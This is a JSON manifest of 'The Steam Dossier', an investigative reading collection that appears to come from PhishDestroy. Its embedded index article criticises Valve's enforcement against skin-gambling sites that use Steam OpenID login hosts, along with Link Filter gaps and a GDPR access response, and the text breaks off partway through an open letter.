{
  "schema": "phishdestroy.reading-collection.v1",
  "object_type": "Dated English reading collection with combined PDF digest",
  "title": "The Steam Dossier — English reading collection",
  "edition_date": "2026-10-18",
  "exported_at": "2026-10-18T12:03:20.784Z",
  "language": "en",
  "document_count": 39,
  "source_url": "https://phishdestroy.io/steam_dossier/reading_files",
  "pdf": {
    "filename": "steam-dossier-reading-pack.pdf",
    "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/steam-dossier-reading-pack.pdf",
    "sha256": "afaea7cb5dad1f61e66846171700a7e2cd79990d0084dc44670b9e2dda8c447a",
    "bytes": 28169103,
    "pages": 873,
    "contents_pages": 3
  },
  "integrity": {
    "signed_object": "steam-dossier-reading-pack.content.json",
    "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/steam-dossier-reading-pack.content.json.asc",
    "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/steam-dossier-reading-pack.content.json.sha256",
    "format": "ASCII-armored detached OpenPGP",
    "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
    "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
    "scope": "Exact UTF-8 collection JSON bytes, including the PDF digest and embedded article content. This is not a cryptographic PDF document signature."
  },
  "scope": {
    "included": "Current English authored discussion, analytical tables, selected source images and linked source references. Article-specific omissions are recorded in each document.",
    "excluded": [
      {
        "id": "license_disclaimer/source_1_response",
        "reason": "Unverified annex explicitly excluded from the dossier export package."
      }
    ],
    "evidence_status": "Publication integrity does not establish the truth or authenticity of underlying third-party material.",
    "historical_editions": "Earlier signed exports are preserved separately and are not replaced by this edition."
  },
  "page_ranges": [
    {
      "id": "index",
      "slug": "index",
      "title": "The Steam Dossier: rules, routes and accountability",
      "start_page": 4,
      "end_page": 90,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/index.content.json",
      "article_json_sha256": "9427eebb172fb6e654fbb68e3ed2ecaf8fd3ce180c75a5b33882a5ec55c22758",
      "article_pdf_sha256": "f256d0671d25a2a90b0e78965effb03c20b89e25116701f20e746b8f51a082d3"
    },
    {
      "id": "support_canned_refusals",
      "slug": "support_canned_refusals",
      "title": "Steam Support: Replies, Recovery & Refusals — The Steam Dossier",
      "start_page": 91,
      "end_page": 103,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/support_canned_refusals.content.json",
      "article_json_sha256": "8245f0d56fcbe879041246f0561f84f5a355bdfe553767595bc158d1d2b2e153",
      "article_pdf_sha256": "a431d12484f5eadcc782921ad7772a3aef3b410680e6b1664a25c80817c76f56"
    },
    {
      "id": "investigation_part2",
      "slug": "investigation_part2",
      "title": "Account access & accountability — The Steam Dossier",
      "start_page": 104,
      "end_page": 112,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/investigation_part2.content.json",
      "article_json_sha256": "a2abfcb7c59195ea085b11391c1465e3f2acafe5bd77dfe4a310ae628b711c8a",
      "article_pdf_sha256": "fb1afbae5259c3b56c4817aa639b3fbf8e6bf239821738be72f17d20ab542678"
    },
    {
      "id": "steam-access",
      "slug": "steam-access",
      "title": "Their credentials. Their infrastructure. — PhishDestroy",
      "start_page": 113,
      "end_page": 145,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam-access.content.json",
      "article_json_sha256": "cdf5538ebd4506936c61f6ca735edf099abff725550979de03edf02993f5cfab",
      "article_pdf_sha256": "4357ff20c967505eccdb21858c3de9d1024b9975b8766f8f64e3e6620ae14a04"
    },
    {
      "id": "three-games-and-security",
      "slug": "three-games-and-security",
      "title": "Three games. Unequal protection. — Valve & enforcement · PhishDestroy",
      "start_page": 146,
      "end_page": 172,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/three-games-and-security.content.json",
      "article_json_sha256": "492a796902d0763e3f99303440235e8ec8cfbd8caabd86ad49e83490d44d5318",
      "article_pdf_sha256": "811fb80231645600a1485b32a153c554f0e91ccab749d181041953b2ea4f0342"
    },
    {
      "id": "privacy-and-enforcement",
      "slug": "privacy-and-enforcement",
      "title": "Existing data. Selective privacy. — Valve & enforcement · PhishDestroy",
      "start_page": 173,
      "end_page": 194,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/privacy-and-enforcement.content.json",
      "article_json_sha256": "a42420a983c3e65c1ae694b0aee1f901ec920fa9c1fdc527e77b7ca72ca73a41",
      "article_pdf_sha256": "0bbfa34250b31308a8b81d7d64a466dda16a765be1236f16d69c0abf0ab2932b"
    },
    {
      "id": "steam_evidence_archive",
      "slug": "steam_evidence_archive",
      "title": "Inspect the sources — The Steam Dossier",
      "start_page": 195,
      "end_page": 200,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_evidence_archive.content.json",
      "article_json_sha256": "11190150c4255e74060debf09ec52ae9b77bf415150b9974e888e1553a528eaa",
      "article_pdf_sha256": "f46f22716a53aadc16cba2da2388d2b4dd692bc17bb689fc26057de71ac77912"
    },
    {
      "id": "aml-data",
      "slug": "aml-data",
      "title": "Your documents. Their discretion. — PhishDestroy",
      "start_page": 201,
      "end_page": 227,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/aml-data.content.json",
      "article_json_sha256": "7784eda3271d0d8667d0249145ac1313530d1a639ccc0b3224ae8fde9adbde8c",
      "article_pdf_sha256": "45054a9044df6075c28ad795e019bfbb14f1d5721597fc64427fdff8db041ebb"
    },
    {
      "id": "card_economy",
      "slug": "card_economy",
      "title": "The card economy — The Steam Dossier",
      "start_page": 228,
      "end_page": 254,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/card_economy.content.json",
      "article_json_sha256": "b2852d9912741232fbfb9c6b31d2c26315e3917b49b3a133ca6630dbb4797f18",
      "article_pdf_sha256": "0015d909b26c58ac7e7072f8ad205860358f86d7addfe4e6a5d130ace27209d6"
    },
    {
      "id": "csgofast-sih",
      "slug": "csgofast-sih",
      "title": "A casino’s business. Inside Steam. — The Steam Dossier",
      "start_page": 255,
      "end_page": 312,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/csgofast-sih.content.json",
      "article_json_sha256": "f4020e5614b0f5e7b7371ae83a393dde25a8983cda88d774afc81b33651b48bc",
      "article_pdf_sha256": "0c6873afcabbef4804c119f3354fd3cfe42e2a9263373367c9e00344534f278b"
    },
    {
      "id": "elite_skins",
      "slug": "elite_skins",
      "title": "One item, two price systems — The Steam Dossier",
      "start_page": 313,
      "end_page": 384,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/elite_skins.content.json",
      "article_json_sha256": "daadc8848f2acfd2d67d6d82228b396b8fc257f808e08b08abe15e97975c3e02",
      "article_pdf_sha256": "a374129eab9c04c31c53aa5f5f083f0f370a9f61ad045f265bcc312d227f6064"
    },
    {
      "id": "enforcement_audit",
      "slug": "enforcement_audit",
      "title": "The census Valve won't publish — The Steam Dossier",
      "start_page": 385,
      "end_page": 398,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/enforcement_audit.content.json",
      "article_json_sha256": "e7fc42f7091284e0ad2bba64e810748256c38ab7f263f33c7ca46c72c3462877",
      "article_pdf_sha256": "3f426c5d655c0b63a75b115e2fbcb7230a1bf4dbace24c7d10217cb03da052b9"
    },
    {
      "id": "extension-audit",
      "slug": "extension-audit",
      "title": "Steam sessions. Platform access. — PhishDestroy",
      "start_page": 399,
      "end_page": 415,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/extension-audit.content.json",
      "article_json_sha256": "0b06a6d58c04ec3f7143c717a89d36bee4e445fc0152b1f26331fd5e0b5bef61",
      "article_pdf_sha256": "95c96645ed58790e80c9ca548c5c5c06e2925898037d80848adb9d20c2ccc1a4"
    },
    {
      "id": "fragment_map",
      "slug": "fragment_map",
      "title": "Fragment map · Authors & signatures — PhishDestroy",
      "start_page": 416,
      "end_page": 424,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/fragment_map.content.json",
      "article_json_sha256": "58d8422757d1945445dc27f405cb4dd7655cb055774c8e908b56dfa18f071ca0",
      "article_pdf_sha256": "b45cecbb2aebdbc7875ac9d540ddcae7fcd31852e83845843f7b76bb4169b108"
    },
    {
      "id": "gambling-system",
      "slug": "gambling-system",
      "title": "The skin moves. The platform decides. — PhishDestroy",
      "start_page": 425,
      "end_page": 439,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/gambling-system.content.json",
      "article_json_sha256": "8e02382119c045d16351fe139599543dd23ed250b8f16a8de6de4c5ffba84cac",
      "article_pdf_sha256": "0c3cced6239196519ad91abb3f1cbd8471ae3b344a862e48fae619d003cfe87e"
    },
    {
      "id": "legal_analysis",
      "slug": "legal_analysis",
      "title": "Their terms, your rights — The Steam Dossier",
      "start_page": 440,
      "end_page": 450,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/legal_analysis.content.json",
      "article_json_sha256": "2f3042a579f7a244a88fe12b62cac6047cd4b189245929d6e47650beb465a2a2",
      "article_pdf_sha256": "e6441f5ddbabd394943400a485be63adb27e2ae2ff4926668af0dd42373f402c"
    },
    {
      "id": "license_disclaimer",
      "slug": "license_disclaimer",
      "title": "License · Rights · Disclaimer — PhishDestroy",
      "start_page": 451,
      "end_page": 465,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/license_disclaimer.content.json",
      "article_json_sha256": "3c5ece0963d590ae71ae2056c45f1422091448201132ed9023ba1acb671b7efc",
      "article_pdf_sha256": "de7d9ccf80357fa7a0ad1cc8f5b4c94eeab1385ef351e4413cc936fa56eccfff"
    },
    {
      "id": "major-and-sponsors",
      "slug": "major-and-sponsors",
      "title": "Sponsor rules & cosmetic control — PhishDestroy",
      "start_page": 466,
      "end_page": 479,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major-and-sponsors.content.json",
      "article_json_sha256": "e830fe5a4a48d44f52d5510fd2da6d308cbe4dd40c90119e031e031015cdbd1b",
      "article_pdf_sha256": "8374982ad9c0a81e9456597cd2aa6f62e9dcdb6077ea26ce66bbc929edfc4105"
    },
    {
      "id": "major_skins",
      "slug": "major_skins",
      "title": "The Major showcase — Skins, stars & demand | The Steam Dossier",
      "start_page": 480,
      "end_page": 532,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_skins.content.json",
      "article_json_sha256": "b7f3c2ad296e833f99901b0feee90fb19ca5005ba462dbb9924406593098382b",
      "article_pdf_sha256": "a9d111de075146c28cae872e5d36d3f6c45272166dc3cab5624665b45b206e6c"
    },
    {
      "id": "major_sponsorships",
      "slug": "major_sponsorships",
      "title": "Ten days to stop. Seven years later, at G2’s booth. — The Steam Dossier",
      "start_page": 533,
      "end_page": 545,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_sponsorships.content.json",
      "article_json_sha256": "943b038d2e8a953c8b3026320a11c3dea152bbd6d9248b440de8c16ed33b55e2",
      "article_pdf_sha256": "71ebd7e47527c042440634cc273186375bb9deeb041415259fe7b9be2755cf61"
    },
    {
      "id": "market_economics",
      "slug": "market_economics",
      "title": "One infrastructure, two markets — The Steam Dossier",
      "start_page": 546,
      "end_page": 555,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/market_economics.content.json",
      "article_json_sha256": "04d8126aaf4be2d528405d36ffba39de89606933ee5fbf5129a7ef022c292fe2",
      "article_pdf_sha256": "9a8e3d8fc136e4e0338e7ff5b8aaa53878d5dfd26267b43446dcf83f81103790"
    },
    {
      "id": "money-and-enforcement",
      "slug": "money-and-enforcement",
      "title": "No money? Follow the payment. — PhishDestroy",
      "start_page": 556,
      "end_page": 574,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/money-and-enforcement.content.json",
      "article_json_sha256": "c851479c122a1154850d1f29fcb600e050f52671462935d1d27a55aad5ed73d0",
      "article_pdf_sha256": "bcb64ca88d24433217b59053c4759faf07f67728769169f8c4cd07c9dcc3579b"
    },
    {
      "id": "open_manifesto",
      "slug": "open_manifesto",
      "title": "Open Manifesto — Public Notice · The Steam Dossier",
      "start_page": 575,
      "end_page": 582,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/open_manifesto.content.json",
      "article_json_sha256": "361f0c0aa0983191ed0974a28ac311bf097d02c2ee671fd685d248e3771dd125",
      "article_pdf_sha256": "fae6594b5145edf79ac0ffd2c8f85f98b52707cd2b00423ae9bf8a53bc5624f9"
    },
    {
      "id": "output_steam_network/index",
      "slug": "output_steam_network__index",
      "title": "Steam automation: public code and platform controls — The Steam Dossier",
      "start_page": 583,
      "end_page": 588,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__index.content.json",
      "article_json_sha256": "e1e075db134659368fc4780abf57c48c87230bbb213751d9e42c41b1b756ee6c",
      "article_pdf_sha256": "b281c152ae2afa8f1fda7056887d804a3c06f98e848ebf09116b5613d2791ecc"
    },
    {
      "id": "output_steam_network/network",
      "slug": "output_steam_network__network",
      "title": "Developer & repository explorer — The Steam Dossier",
      "start_page": 589,
      "end_page": 592,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__network.content.json",
      "article_json_sha256": "5d58030be3add28a28bb6a89ff6b85eeb6b56ad8e3c6118fd1222ea699fcfc4b",
      "article_pdf_sha256": "5bb6fb36f584d263a33043afa914fd298b04e96db27e1b4a0e4938101eeb24f5"
    },
    {
      "id": "output_steam_network/steam_ecosystem_dashboard",
      "slug": "output_steam_network__steam_ecosystem_dashboard",
      "title": "The collected network in numbers — The Steam Dossier",
      "start_page": 593,
      "end_page": 597,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__steam_ecosystem_dashboard.content.json",
      "article_json_sha256": "8acbb6e8f337b94d4fd83f58737bdd544c565297d5b65c1b730629c4a9ddc474",
      "article_pdf_sha256": "9b8ab7a96ee881d5daa3cc5b4769985162b7be0601332cb43aebdd6bf5d4d811"
    },
    {
      "id": "output_steam_network/valve_ru_farming_isolated",
      "slug": "output_steam_network__valve_ru_farming_isolated",
      "title": "Code, contributors & forks — The Steam Dossier",
      "start_page": 598,
      "end_page": 602,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__valve_ru_farming_isolated.content.json",
      "article_json_sha256": "a1c45fbe0b4bd39720d70e3c06cf191396cfa9e55fdf3b9ce1828a09fd27d3c5",
      "article_pdf_sha256": "c9421781b29386117627bd43a46b308a41a45af6a374bea7da66b005bb91abb8"
    },
    {
      "id": "regulatory_act_print",
      "slug": "regulatory_act_print",
      "title": "FORENSIC AUDIT ACT: Valve Steam Web API Ecosystem & Commercial Exploitation (Ref: VAL-REG-2026-09)",
      "start_page": 603,
      "end_page": 620,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/regulatory_act_print.content.json",
      "article_json_sha256": "c40ec9df2f847f78a8953782ee41c26751bcd7a13ea57bcd160b8480f74fb8ac",
      "article_pdf_sha256": "09384693a08708c7d58268153366a63998466b86d29d1befa4251c832a8af40b"
    },
    {
      "id": "reviews-and-incentives",
      "slug": "reviews-and-incentives",
      "title": "A rating becomes the entry ticket — PhishDestroy",
      "start_page": 621,
      "end_page": 650,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/reviews-and-incentives.content.json",
      "article_json_sha256": "936f6ee1e2fbd7454f66ad363acd84aec4b36daf66dd52f747dfc77c5b48028e",
      "article_pdf_sha256": "b847d483cb37f6c0c47961c394a71b575ccf5d44fc18ad2ffb8a5a517e4a5a45"
    },
    {
      "id": "security_timeline",
      "slug": "security_timeline",
      "title": "Security Timeline — The Steam Dossier",
      "start_page": 651,
      "end_page": 660,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/security_timeline.content.json",
      "article_json_sha256": "83fdb5aded89887013e47ba2010ef889fbc17f908d08529663aa26a05439fcc8",
      "article_pdf_sha256": "8a8e7908d6cd32e1a820e8108e2e58ae3b70999c67bc0c08d571c82bc3a829d4"
    },
    {
      "id": "signatures",
      "slug": "signatures",
      "title": "Verify the signed record — The Steam Dossier",
      "start_page": 661,
      "end_page": 703,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/signatures.content.json",
      "article_json_sha256": "782494f36988ac0e2d928dce9eeccb9070be646fb0b499019636e8d79215218d",
      "article_pdf_sha256": "c332395d34493ea5c004475e4a89dd7bc4e2aaccfe03a0e2014a3ae5b8a8b195"
    },
    {
      "id": "skin_atlas",
      "slug": "skin_atlas",
      "title": "The atlas of what Steam cannot carry — The Steam Dossier",
      "start_page": 704,
      "end_page": 721,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/skin_atlas.content.json",
      "article_json_sha256": "202951d40a7155cfbb0426850240e137482ecc1e3bb445971dab4c5a16e008e4",
      "article_pdf_sha256": "37d24d44697697ecfe9dcfcc8b43f51602553b1936d6ed7a09321a5dc4245b7a"
    },
    {
      "id": "social_graph",
      "slug": "social_graph",
      "title": "Follow the recorded connections — The Steam Dossier",
      "start_page": 722,
      "end_page": 731,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/social_graph.content.json",
      "article_json_sha256": "185d069871d9e5cf1b6152ca4ce46ca37f968d2952c42665ed3bc2ba37d6033a",
      "article_pdf_sha256": "a89fdb61a2ba2843bfb9c3094c60c89afef8058ec939949a133036d80f5ca92d"
    },
    {
      "id": "steam_enforcement_evidence",
      "slug": "steam_enforcement_evidence",
      "title": "Rules versus responses — The Steam Dossier",
      "start_page": 732,
      "end_page": 736,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/steam_enforcement_evidence.content.json",
      "article_json_sha256": "75f7fd9a546b2745e2c4006fd194322c41a994d0ce91d95e41bf28dce6b4fa50",
      "article_pdf_sha256": "8a3a2f14702795b76b736354176e5e31dabff1c4e4d7586785f8ffe6178775dd"
    },
    {
      "id": "taylor_wessing",
      "slug": "taylor_wessing",
      "title": "Rainbow. Reichstag. Baton. — The Taylor Wessing Dossier | PhishDestroy",
      "start_page": 737,
      "end_page": 792,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing.content.json",
      "article_json_sha256": "41118bac75cbfbc3962cf2c125a1823f1af7bd8452f07c8d408be5edebd01ea4",
      "article_pdf_sha256": "97a32b10fd8fee35b77239a3281b6491763a2ad5f9f4f74d1b197d84feab80cf"
    },
    {
      "id": "taylor_wessing_olga",
      "slug": "taylor_wessing_olga",
      "title": "The Partner. The Trainee. The Firm. — Agent Olga | PhishDestroy",
      "start_page": 793,
      "end_page": 809,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/taylor_wessing_olga.content.json",
      "article_json_sha256": "f20613841d4860a3dac97abe8393e000a32f40b315ad6ac45e370898885819b9",
      "article_pdf_sha256": "1719e7d6aacb0fbfcb8b1e54f008e3ed57d8077bc22440af629c2fdedb8bfeaa"
    },
    {
      "id": "trade-tracking",
      "slug": "trade-tracking",
      "title": "How skin casinos use the Steam session — PhishDestroy",
      "start_page": 810,
      "end_page": 835,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/trade-tracking.content.json",
      "article_json_sha256": "5313312e481a0614e2e91d8ce645fb08961aeaa93af1785b86458d1d23c838b7",
      "article_pdf_sha256": "c68595a4fdec79a305d6811f1ac00eed135afc910a5fea384f3280e748479040"
    },
    {
      "id": "valve-and-enforcement",
      "slug": "valve-and-enforcement",
      "title": "Valve’s defence. Valve’s control. — PhishDestroy",
      "start_page": 836,
      "end_page": 868,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve-and-enforcement.content.json",
      "article_json_sha256": "89b2e09e7aae499ad7101ca6ee5d707410a2150d845fb9f5778abcc640bfe435",
      "article_pdf_sha256": "88de376ab4da5bf1762d1a3afb22f16d35a161ba42ffd0cc3cccb6694f13168f"
    },
    {
      "id": "valve_scandals_registry",
      "slug": "valve_scandals_registry",
      "title": "Valve Scandals Registry — The Steam Dossier",
      "start_page": 869,
      "end_page": 873,
      "article_json": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/valve_scandals_registry.content.json",
      "article_json_sha256": "eeef3d6ad17f8eecd8ce1e4084e7a4c9c43a2cd67061392275e10d7737877b9a",
      "article_pdf_sha256": "03fb1f986eb1d880e1b37d4803eb9dd08c7f842f38afec7b1466a62fa63e7746"
    }
  ],
  "documents": [
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "index",
      "language": "en",
      "title": "The Steam Dossier: rules, routes and accountability",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/",
      "source_file": "steam_dossier/index.html",
      "source_html_sha256": "8f103fafacd97d0e3a3bae295ee280e63aa3f09b06288b07d33055f4a4bc249a",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [
          {
            "kind": "visual_catalogue",
            "label": "Support and Legal Correspondence Exhibits",
            "url": "https://phishdestroy.io/steam_dossier/#exhibit-gallery-section"
          }
        ],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "index.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/index.pdf",
        "sha256": "f256d0671d25a2a90b0e78965effb03c20b89e25116701f20e746b8f51a082d3",
        "bytes": 1806541,
        "pages": 87
      },
      "integrity": {
        "signed_object": "index.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/index.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/index.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nAGENT ELISE / VALVE & ENFORCEMENT\nValve’s answer to New York: the ownership lie and its framing.\n\nEight claims beside the documents. Physical collectibles, consumer choice, privacy — and the power Valve retains over accounts and items.\n\nSection 1 — Case briefing\nThe rule. The record. The unanswered questions.\nContext & source limits\n\nSix findings, each tied to a dated public record. The detailed sections follow the same order: technical record (Part A), rules and enforcement record (Part B), legal frameworks (Part C), then the appendices with the primary exhibits.\n\nSix findings. Each connects a written rule to a dated record and a question the evidence can test.\n\n1. Separate-domain auth hosts — 44 routes · 26 split pairs\n\nThe live register records 44 platforms authenticating through a separate registrable domain. Six further routes are listed in the saved register’s pending-verification group. They remain outside the 44 recorded routes and the registration-age chart until the required RDAP and Link Filter checks are recorded. — 27 with a published per-route evidence file and 17 added from manual collection, listed apart. In 26 filter-split pairs the main domain is BLOCKED in the Steam Link Filter while the proxy carrying its login is not. These are not burner domains: csgogem.com is blocked while api.csgem.com, the host carrying its Steam login, has been registered since March 2014 — 12 years 6 months. Valve receives that hostname in every OpenID request, and renders it back to the user on its own login page. Full table, per-route ages and sourcing in Section 3.\n\nFollow the route →\n2. 2016: the mechanism was named, the deadline set\n\nOn 13 July 2016 Valve publicly described how gambling sites used Steam OpenID and automated trading accounts, and its counsel's notices of 20 July 2016 set a ten-day deadline. No per-operator enforcement record has been published since. Ten years after that deadline was issued, the same named mechanism is in use on separate-domain auth hosts that returned no Link Filter block on 2026-09-21.\n\nRead the open letter to the WSGC →\n3. Device correlation, on counsel's letterhead\n\nIn the correspondence reproduced here, Valve's counsel described device-level correlation linking one device to multiple accounts — a capability Steam Support had previously told users was not technically possible. The open question is which device-level records Valve holds and on what basis account holders are refused access to them.\n\nRead the memorandum →\n4. Two access responses. One withheld the data, one leaked it.\n\nOctober 2025: Valve's counsel answered an Art. 15 request with an 830-page appendix whose redactions are painted over the text instead of removing it — 902,270 characters come back out with a standard extraction tool, including the third-party identifiers the bars were there to withhold. Art. 15(4) is the reason those bars exist. September 2026: ticket HT-2YBP-F7JP-D4VB was closed after three days with a link to the self-service Account Data page — no data, no stated legal basis. The one-month period under Art. 12(3) had not expired at publication; the objection is to the substance.\n\nRead the redaction check →Read the ticket record →\n5. The market above Steam's ceiling\n\nSteam caps a Market listing at about $1,800. Across five marketplaces in a dated snapshot (23 Sep 2026), 248 CS2 item categories are priced above that cap by two or more of them independently, and all 248 are absent from Steam; a Factory New Dragon Lore starts at $10,941 across 389 copies listed on all five (the CSFloat-only figure in Section 13, from the 20 Sep snapshot, is $10,623.95 across 62 offers). Selling at those prices requires an outside venue, while item transfer still runs through Steam.\n\nFollow the price and transfer →\n6. The rule is explicit; the audit trail is not\n\nThe Subscriber Agreement reserves Steam for personal, non-commercial use, bars commercial exploitation except as expressly permitted, prohibits scripts and bots, and allows account termination. Valve applied that language to gambling operators in 2016. Separately, according to CSFloat's engineering account, Valve closed IEconItems_730/GetPlayerItems in 2017, removing public access to original item IDs (no Valve changelog located).\n\nPut the rule beside the network →\nFive claims with direct source links\nTL;DR — 5 VERIFIABLE CLAIMS All 5 verifiable against Valve's own servers, documents and published dates\n44\n\nplatform routes use an authentication host on a different registrable domain from the platform’s main address. The unit is a platform route; several platforms share a host.\n\nSection 3\n26\n\nfilter-split pairs: main domain shows a Steam Link Filter warning; the login host beside it does not.\n\nSection 3.2\n12y 6m\n\nis the registration age of csgem.com at the September 2026 check. The saved check pairs blocked csgogem.com with unblocked api.csgem.com.\n\nView table\n10 days\n\nwas Valve's own 2016 deadline to gambling operators. No per-operator enforcement record has been published since.\n\nSection 2\n830 pp\n\nArt. 15 GDPR response from Valve's lawyers — 902,270 characters of extractable redactions, redaction bars left as selectable text.\n\nSection 18\nWHAT THIS MEANS — THE STEAM LINK FILTER\n\nSteam’s Link Filter returned “Link Blocked!” for the main domains in 26 recorded pairs, while the associated authentication hosts returned no block in the saved checks. The Rollbit record separately describes Steam serving its login form for rbsnin.com. Valve receives the declared host in the OpenID request: the demand is for its enforcement record against those routes.\n\n11 OCTOBER 2026 / TWELVE NEW CASE FILES\nThe business inside Steam.\n\nCasino storefronts, account custody, sponsored tournaments and the enforcement record. Follow each part of the investigation.\n\nCommerce & account access\nCSGOFast / SIH\n\nCasino commerce, account custody and remote control inside Steam.\n\nAGENT NORARead investigation Reviews & incentives\nReviews & incentives\n\nThe contests, ratings and developer replies behind the extension’s reputation.\n\nAGENT VERARead investigation Tournament rules\nSponsors & cosmetic control\n\nTournament restrictions, gambling sponsors and the business of appearance.\n\nAGENT LENARead investigation\nView all 12 investigations\nRead the original records\nNEW EVIDENCE FILE / SEVEN MAJORSTheir stage. Their skins. Their economy.491 maps · 960,770 inspect records · Explore the Major skin dataset\nReport scope and edition\n2016 / Written demand 10 days\nDeadline in Valve counsel's July 2016 notices to gambling sites. Open letter to the WSGC: Section 2.\n2017 / Public audit trail ID access closed\nCSFloat records the loss of original item IDs.\nCounsel correspondence Device correlation\nOne device linked to dozens of stolen accounts.\nRoute register Blocked, and still logging in\nThe rule: Valve's 2016 statement prohibits running a gambling business on Steam OpenID. The record: 26 main domains sit on the Link Filter while the host carrying each one's Steam login runs on — csgogem.com's has run 12 years 6 months.\nSection 2 — Open letter\nOpen letter to the Washington State Gambling Commission\n\nTen days became ten years. The Commission's 2016 question to Valve has not been answered with an operator-by-operator record; this letter asks it to reopen the file.\n\nPUBLIC ADDRESS · WASHINGTON STATE GAMBLING COMMISSION\n\nTen days became ten years. Reopen the record.\n\nTo the Washington State Gambling Commission:\n\nIn 2016, Director David Trujillo asked Valve to show what it had done to stop the use of Steam skins for gambling. Then-Chair Chris Stearns and the Commission confronted an industry built on Valve-issued items and Steam transfers. Both men have since left their Commission roles. The question they put to Valve has not expired.\n\nValve's general counsel, Karl Quackenbush, gave gambling operators ten days to stop commercial use of Steam accounts. In its October response to your Commission, Valve denied facilitating gambling, said it had sent cease-and-desist letters to more than forty sites and said it had disabled associated accounts. It also defended preserving Steam trading and OpenID because those services benefited customers and game developers. That was an assertion of control. It deserves a test, not deference.\n\nIn our assessment, Valve's answer did not demonstrate that its chosen enforcement matched the scale of the network it described. A threatening letter to an operator is not the same thing as a durable block on the Steam accounts, trading infrastructure and authentication routes that make the business work. Reported estimates put CS:GO Lounge alone above $1 billion in betting handle during 2016; that is an outside estimate of wagers, not Valve revenue, and the site's original skin-betting operation later shut down. The scale made verifiable enforcement essential.\n\nToday, Valve's own Subscriber Agreement archived 2026-09-21 ↗ restricts commercial exploitation except where expressly permitted and separately prohibits specified forms of automation. Our dated route register records declared OpenID return hosts for outside services; openid.realm and openid.return_to are fields sent to Steam, not secrets hidden from it. Our Link Filter checks show cases where a main address was warned 